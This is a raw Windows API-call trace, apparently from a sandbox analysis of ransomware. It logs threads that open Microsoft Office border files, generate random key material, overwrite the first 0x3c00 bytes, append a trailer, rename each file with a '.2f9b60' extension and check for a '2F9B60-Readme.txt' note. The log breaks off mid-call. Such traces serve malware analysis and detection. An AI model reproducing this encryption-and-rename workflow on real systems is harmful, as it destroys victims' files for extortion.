1 [0188.945] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2ba0) returned 1 [0188.945] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2bd0) returned 1 [0188.946] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2b70) returned 1 [0188.946] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260da0) returned 1 [0188.946] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202631a0) returned 1 [0188.947] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9fa0) returned 1 [0188.947] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa030) returned 1 [0188.947] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x2027b2d0 [0188.947] wcscat (in: _Dest=0x2027b2d0, _Source="848de32cc3a" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\848de32cc3a") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\848de32cc3a" [0188.947] wcscat (in: _Dest=0x2027b2d0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\848de32cc3a.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\848de32cc3a.2f9b60" [0188.948] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\848de32cc3a.2f9b60", NtPathName=0x4137f6d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\848de32cc3a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0188.948] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x42c37050 [0225.865] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c37050) returned 1 [0225.865] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20293bc0) returned 1 [0225.865] NtQueryInformationFile (in: FileHandle=0x100c, IoStatusBlock=0x4137f738, FileInformation=0x4137f748, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x4137f738, FileInformation=0x4137f748) returned 0x0 [0225.865] NtSetInformationFile (FileHandle=0x100c, IoStatusBlock=0x4137f738, FileInformation=0x4137f748, Length=0x28, FileInformationClass=0x4) returned 0x0 [0229.637] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027b2d0) returned 1 [0229.637] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b857d40) returned 1 [0229.637] FlushFileBuffers (hFile=0x100c) returned 1 [0234.357] CloseHandle (hObject=0x100c) returned 1 [0239.457] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x4319c9a0 [0239.457] wcscpy (in: _Dest=0x4319c9a0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\" [0239.457] wcscat (in: _Dest=0x4319c9a0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\2F9B60-Readme.txt" [0239.457] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\2f9b60-readme.txt")) returned 0x20 [0239.458] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4319c9a0) returned 1 [0239.459] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aed10) returned 1 Thread: id = 1463 os_tid = 0x1930 [0120.197] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart14.bdr")) returned 0x20 [0121.247] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR", dwFileAttributes=0x20) returned 1 [0121.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart14.bdr"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1014 [0121.248] GetFileSizeEx (in: hFile=0x1014, lpFileSize=0x4140f6e0 | out: lpFileSize=0x4140f6e0*=51388) returned 1 [0121.248] SetFilePointerEx (in: hFile=0x1014, liDistanceToMove=0xc8b8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.248] ReadFile (in: hFile=0x1014, lpBuffer=0x4140f660, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x4140f6a8, lpOverlapped=0x0 | out: lpBuffer=0x4140f660*, lpNumberOfBytesRead=0x4140f6a8*=0x4, lpOverlapped=0x0) returned 1 [0121.572] SetFilePointerEx (in: hFile=0x1014, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.572] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263980 [0121.572] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262d80 [0121.572] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263410 [0121.572] NtQuerySystemTime (in: CurrentTime=0x4140f5a0 | out: CurrentTime=0x4140f5a0*=132462177269758000) returned 0x0 [0121.572] RtlRandomEx (in: Seed=0x4140f590 | out: Seed=0x4140f590) returned 0xcc3b366 [0121.572] RtlRandomEx (in: Seed=0x4140f590 | out: Seed=0x4140f590) returned 0x3154d149 [0121.572] RtlRandomEx (in: Seed=0x4140f590 | out: Seed=0x4140f590) returned 0x649de231 [0121.572] RtlRandomEx (in: Seed=0x4140f590 | out: Seed=0x4140f590) returned 0x154fb002 [0121.572] RtlRandomEx (in: Seed=0x4140f590 | out: Seed=0x4140f590) returned 0x62d8aee8 [0121.572] RtlRandomEx (in: Seed=0x4140f590 | out: Seed=0x4140f590) returned 0x1976a4b7 [0121.572] RtlRandomEx (in: Seed=0x4140f590 | out: Seed=0x4140f590) returned 0x5063d6d8 [0121.572] RtlRandomEx (in: Seed=0x4140f590 | out: Seed=0x4140f590) returned 0x2e74c475 [0121.572] RtlRandomEx (in: Seed=0x4140f590 | out: Seed=0x4140f590) returned 0x1d41e3e8 [0121.572] RtlRandomEx (in: Seed=0x4140f590 | out: Seed=0x4140f590) returned 0xa930e26 [0121.572] RtlRandomEx (in: Seed=0x4140f590 | out: Seed=0x4140f590) returned 0x3991ca30 [0121.572] RtlRandomEx (in: Seed=0x4140f590 | out: Seed=0x4140f590) returned 0x6bd433df [0121.572] RtlRandomEx (in: Seed=0x4140f590 | out: Seed=0x4140f590) returned 0x2320b57b [0121.572] RtlRandomEx (in: Seed=0x4140f590 | out: Seed=0x4140f590) returned 0x65c1233f [0121.572] RtlRandomEx (in: Seed=0x4140f590 | out: Seed=0x4140f590) returned 0x601cc6c6 [0121.572] RtlRandomEx (in: Seed=0x4140f590 | out: Seed=0x4140f590) returned 0x79668848 [0121.573] RtlRandomEx (in: Seed=0x4140f590 | out: Seed=0x4140f590) returned 0x69274a8b [0121.573] RtlRandomEx (in: Seed=0x4140f590 | out: Seed=0x4140f590) returned 0x4cebb618 [0121.573] RtlRandomEx (in: Seed=0x4140f590 | out: Seed=0x4140f590) returned 0x678f2449 [0121.573] RtlRandomEx (in: Seed=0x4140f590 | out: Seed=0x4140f590) returned 0x5c83e94d [0121.573] RtlRandomEx (in: Seed=0x4140f590 | out: Seed=0x4140f590) returned 0x57546e65 [0121.573] RtlRandomEx (in: Seed=0x4140f590 | out: Seed=0x4140f590) returned 0x46942952 [0121.573] RtlRandomEx (in: Seed=0x4140f590 | out: Seed=0x4140f590) returned 0x51209952 [0121.573] RtlRandomEx (in: Seed=0x4140f590 | out: Seed=0x4140f590) returned 0x46ea0971 [0121.585] RtlRandomEx (in: Seed=0x4140f590 | out: Seed=0x4140f590) returned 0x76ca6aa2 [0121.585] RtlRandomEx (in: Seed=0x4140f590 | out: Seed=0x4140f590) returned 0x7565b400 [0121.585] RtlRandomEx (in: Seed=0x4140f590 | out: Seed=0x4140f590) returned 0x675d61dd [0121.585] RtlRandomEx (in: Seed=0x4140f590 | out: Seed=0x4140f590) returned 0x7856cab1 [0121.585] RtlRandomEx (in: Seed=0x4140f590 | out: Seed=0x4140f590) returned 0x4b0d0695 [0121.585] RtlRandomEx (in: Seed=0x4140f590 | out: Seed=0x4140f590) returned 0x283cf4aa [0121.585] RtlRandomEx (in: Seed=0x4140f590 | out: Seed=0x4140f590) returned 0x104ac2b2 [0121.585] RtlRandomEx (in: Seed=0x4140f590 | out: Seed=0x4140f590) returned 0x40c142f9 [0121.594] SetFilePointerEx (in: hFile=0x1014, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.594] ReadFile (in: hFile=0x1014, lpBuffer=0x41fd00b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x4140f600, lpOverlapped=0x0 | out: lpBuffer=0x41fd00b0*, lpNumberOfBytesRead=0x4140f600*=0x3c00, lpOverlapped=0x0) returned 1 [0122.324] SetFilePointerEx (in: hFile=0x1014, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.324] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0122.324] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503e10 [0122.324] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263980 [0122.324] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263980) returned 1 [0122.324] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42004990 [0124.488] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263350 [0124.489] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263bc0 [0124.489] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263bc0) returned 1 [0124.489] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503e10) returned 1 [0124.489] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0124.489] WriteFile (hFile=0x1014, lpBuffer=0x42004990, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x4140f600, lpOverlapped=0x0) [0170.818] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42004990) returned 1 [0170.818] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fd00b0) returned 1 [0170.818] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x42c1cb90 [0170.818] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420597e0 [0170.818] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503f10 [0170.819] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1cbc0 [0170.819] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1cbc0) returned 1 [0170.819] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x42c1cbc0 [0170.819] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1cbf0 [0170.820] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1cc20 [0170.820] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1cc20) returned 1 [0170.820] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503f10) returned 1 [0170.821] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420597e0) returned 1 [0170.821] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x42c16a20 [0170.821] SetFilePointerEx (in: hFile=0x1014, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0170.821] WriteFile (in: hFile=0x1014, lpBuffer=0x42c16a20*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x4140f6b0, lpOverlapped=0x0 | out: lpBuffer=0x42c16a20*, lpNumberOfBytesWritten=0x4140f6b0*=0x108, lpOverlapped=0x0) returned 1 [0200.640] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1de0 [0200.641] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8676c0 [0200.641] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7fd0 [0200.642] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7fd0) returned 1 [0200.642] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x42c0f0e0 [0200.642] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7fd0 [0200.642] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a8000 [0200.643] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a8000) returned 1 [0200.643] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8676c0) returned 1 [0200.644] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1de0) returned 1 [0200.644] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1ce5ca30 [0200.644] sprintf (in: _Dest=0x1ce5ca30, _Format="%c%c" | out: _Dest="54") returned 2 [0200.644] sprintf (in: _Dest=0x1ce5ca32, _Format="%c%c" | out: _Dest="27") returned 2 [0200.644] sprintf (in: _Dest=0x1ce5ca34, _Format="%c%c" | out: _Dest="34") returned 2 [0200.644] sprintf (in: _Dest=0x1ce5ca36, _Format="%c%c" | out: _Dest="61") returned 2 [0200.644] sprintf (in: _Dest=0x1ce5ca38, _Format="%c%c" | out: _Dest="32") returned 2 [0200.644] sprintf (in: _Dest=0x1ce5ca3a, _Format="%c%c" | out: _Dest="8e") returned 2 [0200.644] sprintf (in: _Dest=0x1ce5ca3c, _Format="%c%c" | out: _Dest="a6") returned 2 [0200.644] sprintf (in: _Dest=0x1ce5ca3e, _Format="%c%c" | out: _Dest="20") returned 2 [0200.644] sprintf (in: _Dest=0x1ce5ca40, _Format="%c%c" | out: _Dest="ca") returned 2 [0200.644] sprintf (in: _Dest=0x1ce5ca42, _Format="%c%c" | out: _Dest="a7") returned 2 [0200.644] sprintf (in: _Dest=0x1ce5ca44, _Format="%c%c" | out: _Dest="47") returned 2 [0200.644] sprintf (in: _Dest=0x1ce5ca46, _Format="%c%c" | out: _Dest="71") returned 2 [0200.644] sprintf (in: _Dest=0x1ce5ca48, _Format="%c%c" | out: _Dest="04") returned 2 [0200.644] sprintf (in: _Dest=0x1ce5ca4a, _Format="%c%c" | out: _Dest="1a") returned 2 [0200.644] sprintf (in: _Dest=0x1ce5ca4c, _Format="%c%c" | out: _Dest="e8") returned 2 [0200.644] sprintf (in: _Dest=0x1ce5ca4e, _Format="%c%c" | out: _Dest="7c") returned 2 [0200.644] sprintf (in: _Dest=0x1ce5ca50, _Format="%c%c" | out: _Dest="41") returned 2 [0200.644] sprintf (in: _Dest=0x1ce5ca52, _Format="%c%c" | out: _Dest="04") returned 2 [0200.645] sprintf (in: _Dest=0x1ce5ca54, _Format="%c%c" | out: _Dest="13") returned 2 [0200.645] sprintf (in: _Dest=0x1ce5ca56, _Format="%c%c" | out: _Dest="fc") returned 2 [0200.645] sprintf (in: _Dest=0x1ce5ca58, _Format="%c%c" | out: _Dest="56") returned 2 [0200.645] sprintf (in: _Dest=0x1ce5ca5a, _Format="%c%c" | out: _Dest="12") returned 2 [0200.645] RtlInitAnsiString (in: DestinationString=0x4140f728, SourceString="54273461328ea620caa74771041ae87c410413fc5612" | out: DestinationString="54273461328ea620caa74771041ae87c410413fc5612") [0200.645] RtlAnsiStringToUnicodeString (in: DestinationString=0x4140f6f8, SourceString="54273461328ea620caa74771041ae87c410413fc5612", AllocateDestinationString=1 | out: DestinationString="54273461328ea620caa74771041ae87c410413fc5612") returned 0x0 [0200.645] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x430a0d70 [0200.646] wcscat (in: _Dest=0x43188ae0, _Source="54273461328" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\54273461328") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\54273461328" [0200.646] wcscat (in: _Dest=0x43188ae0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\54273461328.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\54273461328.2f9b60" [0200.646] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\54273461328.2f9b60", NtPathName=0x4140f6d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\54273461328.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.646] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x431ee3a0 [0229.717] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431ee3a0) returned 1 [0229.717] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431fe8c0) returned 1 [0229.717] NtQueryInformationFile (in: FileHandle=0x1014, IoStatusBlock=0x4140f738, FileInformation=0x4140f748, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x4140f738, FileInformation=0x4140f748) returned 0x0 [0229.717] NtSetInformationFile (FileHandle=0x1014, IoStatusBlock=0x4140f738, FileInformation=0x4140f748, Length=0x28, FileInformationClass=0x4) returned 0x0 [0233.591] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43188ae0) returned 1 [0233.592] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430a0d70) returned 1 [0233.592] FlushFileBuffers (hFile=0x1014) returned 1 [0235.000] CloseHandle (hObject=0x1014) returned 1 [0236.610] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x431cb940 [0236.611] wcscpy (in: _Dest=0x431cb940, _Source="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\" [0236.611] wcscat (in: _Dest=0x431cb940, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\2F9B60-Readme.txt" [0236.611] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\2f9b60-readme.txt")) returned 0x20 [0236.611] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431cb940) returned 1 [0236.612] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aeda0) returned 1 Thread: id = 1464 os_tid = 0x1934 [0120.198] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart15.bdr")) returned 0x20 [0121.214] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR", dwFileAttributes=0x20) returned 1 [0121.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart15.bdr"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x101c [0121.217] GetFileSizeEx (in: hFile=0x101c, lpFileSize=0x410ff9c0 | out: lpFileSize=0x410ff9c0*=27412) returned 1 [0121.217] SetFilePointerEx (in: hFile=0x101c, liDistanceToMove=0x6b10, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.217] ReadFile (in: hFile=0x101c, lpBuffer=0x410ff940, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x410ff988, lpOverlapped=0x0 | out: lpBuffer=0x410ff940*, lpNumberOfBytesRead=0x410ff988*=0x4, lpOverlapped=0x0) returned 1 [0121.594] SetFilePointerEx (in: hFile=0x101c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.594] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263980 [0121.594] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263410 [0121.594] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262900 [0121.594] NtQuerySystemTime (in: CurrentTime=0x410ff880 | out: CurrentTime=0x410ff880*=132462177269914000) returned 0x0 [0121.594] RtlRandomEx (in: Seed=0x410ff870 | out: Seed=0x410ff870) returned 0x1de70c40 [0121.594] RtlRandomEx (in: Seed=0x410ff870 | out: Seed=0x410ff870) returned 0x1f12f980 [0121.594] RtlRandomEx (in: Seed=0x410ff870 | out: Seed=0x410ff870) returned 0x68c460bf [0121.594] RtlRandomEx (in: Seed=0x410ff870 | out: Seed=0x410ff870) returned 0x6d25ab89 [0121.595] RtlRandomEx (in: Seed=0x410ff870 | out: Seed=0x410ff870) returned 0x3b6f1e2b [0121.595] RtlRandomEx (in: Seed=0x410ff870 | out: Seed=0x410ff870) returned 0x4cb26857 [0121.595] RtlRandomEx (in: Seed=0x410ff870 | out: Seed=0x410ff870) returned 0x176d3209 [0121.595] RtlRandomEx (in: Seed=0x410ff870 | out: Seed=0x410ff870) returned 0x1ed1226c [0121.595] RtlRandomEx (in: Seed=0x410ff870 | out: Seed=0x410ff870) returned 0x188a76c1 [0121.595] RtlRandomEx (in: Seed=0x410ff870 | out: Seed=0x410ff870) returned 0x22313247 [0121.595] RtlRandomEx (in: Seed=0x410ff870 | out: Seed=0x410ff870) returned 0x50e60387 [0121.595] RtlRandomEx (in: Seed=0x410ff870 | out: Seed=0x410ff870) returned 0x404324f [0121.595] RtlRandomEx (in: Seed=0x410ff870 | out: Seed=0x410ff870) returned 0x3f41b848 [0121.595] RtlRandomEx (in: Seed=0x410ff870 | out: Seed=0x410ff870) returned 0x25c4804f [0121.595] RtlRandomEx (in: Seed=0x410ff870 | out: Seed=0x410ff870) returned 0x6ce61843 [0121.595] RtlRandomEx (in: Seed=0x410ff870 | out: Seed=0x410ff870) returned 0x7fdda67a [0121.595] RtlRandomEx (in: Seed=0x410ff870 | out: Seed=0x410ff870) returned 0x12d699d [0121.595] RtlRandomEx (in: Seed=0x410ff870 | out: Seed=0x410ff870) returned 0x278a9dcb [0121.595] RtlRandomEx (in: Seed=0x410ff870 | out: Seed=0x410ff870) returned 0x7eb9984c [0121.595] RtlRandomEx (in: Seed=0x410ff870 | out: Seed=0x410ff870) returned 0x522fe0b5 [0121.595] RtlRandomEx (in: Seed=0x410ff870 | out: Seed=0x410ff870) returned 0x7c3ab258 [0121.595] RtlRandomEx (in: Seed=0x410ff870 | out: Seed=0x410ff870) returned 0x78d2cf73 [0121.595] RtlRandomEx (in: Seed=0x410ff870 | out: Seed=0x410ff870) returned 0x51dba1ac [0121.595] RtlRandomEx (in: Seed=0x410ff870 | out: Seed=0x410ff870) returned 0x3ebdaa7 [0121.595] RtlRandomEx (in: Seed=0x410ff870 | out: Seed=0x410ff870) returned 0x35a86ae2 [0121.595] RtlRandomEx (in: Seed=0x410ff870 | out: Seed=0x410ff870) returned 0x3e8ea1a0 [0121.595] RtlRandomEx (in: Seed=0x410ff870 | out: Seed=0x410ff870) returned 0x53ab970a [0121.595] RtlRandomEx (in: Seed=0x410ff870 | out: Seed=0x410ff870) returned 0x4082823d [0121.595] RtlRandomEx (in: Seed=0x410ff870 | out: Seed=0x410ff870) returned 0x3a32349f [0121.595] RtlRandomEx (in: Seed=0x410ff870 | out: Seed=0x410ff870) returned 0x5af7c92c [0121.596] RtlRandomEx (in: Seed=0x410ff870 | out: Seed=0x410ff870) returned 0x809489b [0121.596] RtlRandomEx (in: Seed=0x410ff870 | out: Seed=0x410ff870) returned 0x1b3cc1ef [0121.664] SetFilePointerEx (in: hFile=0x101c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.664] ReadFile (in: hFile=0x101c, lpBuffer=0x41fd3cc0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x410ff8e0, lpOverlapped=0x0 | out: lpBuffer=0x41fd3cc0*, lpNumberOfBytesRead=0x410ff8e0*=0x3c00, lpOverlapped=0x0) returned 1 [0122.341] SetFilePointerEx (in: hFile=0x101c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.341] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97670 [0122.341] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503a90 [0122.341] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263980 [0122.341] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263980) returned 1 [0122.341] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cf16700 [0122.341] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263980 [0122.341] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d6f0 [0122.342] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d6f0) returned 1 [0122.342] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503a90) returned 1 [0122.342] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97670) returned 1 [0122.342] WriteFile (in: hFile=0x101c, lpBuffer=0x1cf16700*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x410ff8e0, lpOverlapped=0x0 | out: lpBuffer=0x1cf16700*, lpNumberOfBytesWritten=0x410ff8e0*=0x3c00, lpOverlapped=0x0) returned 1 [0160.947] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf16700) returned 1 [0160.947] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fd3cc0) returned 1 [0160.947] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x423a2c00 [0160.947] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059560 [0160.948] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504810 [0160.948] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2c30 [0160.948] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2c30) returned 1 [0160.948] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x423a2c30 [0160.948] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2c60 [0160.949] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2c90 [0160.949] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2c90) returned 1 [0160.949] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504810) returned 1 [0160.949] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059560) returned 1 [0160.949] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x423a80b0 [0160.950] SetFilePointerEx (in: hFile=0x101c, liDistanceToMove=0x0, 